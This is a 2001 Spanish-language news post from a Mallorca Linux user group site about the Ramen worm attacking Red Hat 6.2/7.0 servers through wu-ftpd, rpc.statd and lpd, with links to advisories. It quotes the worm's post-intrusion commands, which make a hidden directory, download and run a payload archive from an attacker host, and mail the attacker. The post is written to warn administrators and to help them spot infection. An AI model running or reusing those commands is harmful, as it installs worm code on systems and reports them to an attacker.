Bisoños Usuarios de GNU/Linux de Mallorca y Alrededores | Bergantells Usuaris de GNU/Linux de Mallorca i Afegitons

RH6.2 y RH7 atacado por el gusano *Ramen* (7247 lectures)

Per **Ricardo Galli Granada**, ***gallir*** (http://mnm.uib.es/gallir/)

Creado el 17/01/2001 00:00 modificado el 17/01/2001 00:00

Otra vez un script kiddie dando la nota... con la ayuda de RedHat

Un nuevo worn[1] está circulando entre servidores RH6.2/7 (¿que raro no? ¿no os suena a otra empresa?). El nombre es *Ramen worm* y su nombre sale del scrip kiddie que lo ha hecho.

El gusano ataca[2] a servidores wu.ftpd y rpc.statd, que por cierto son ultra super conocidas[3] desde hace varios meses. Parece que sólo RedHat 6.2 y 7.0 son vulnerables.

El ataque comienza con una version modificada de syscan[4]. Los comandos que ejecuta después de atacar al wu.ftpd (verificar si hay rastros, inclusive en este servidor :-):

```
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen.tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen.tar;
./start.sh
echo Eat Your Ramen! | mail -s TOADDR \
-c gb31337@hotmail.com gb31337@yahoo.com
```

En máquinas con el Red Hat 7 parece atacar el servicio lpd[5]

--ricardo

Lista de enlaces de este artículo:

1. http://news.cnet.com/news/0-1003-201-4508359-0.html?tag=st.ne.1002.thed.sf
2. http://members.home.net/dtmartin24/ramen_worm.txt
3. http://www.cert.org/incident_notes/IN-2000-10.html
4. http://www.psychoid.lam3rz.de/synscan.html
5. http://www.securityfocus.com/archive/97/156274

E-mail del autor: gallir _ARROBA_ uib.es

Podrás encontrar este artículo e información adicional en: http://bulma.net/body.phtml?nIdNoticia=416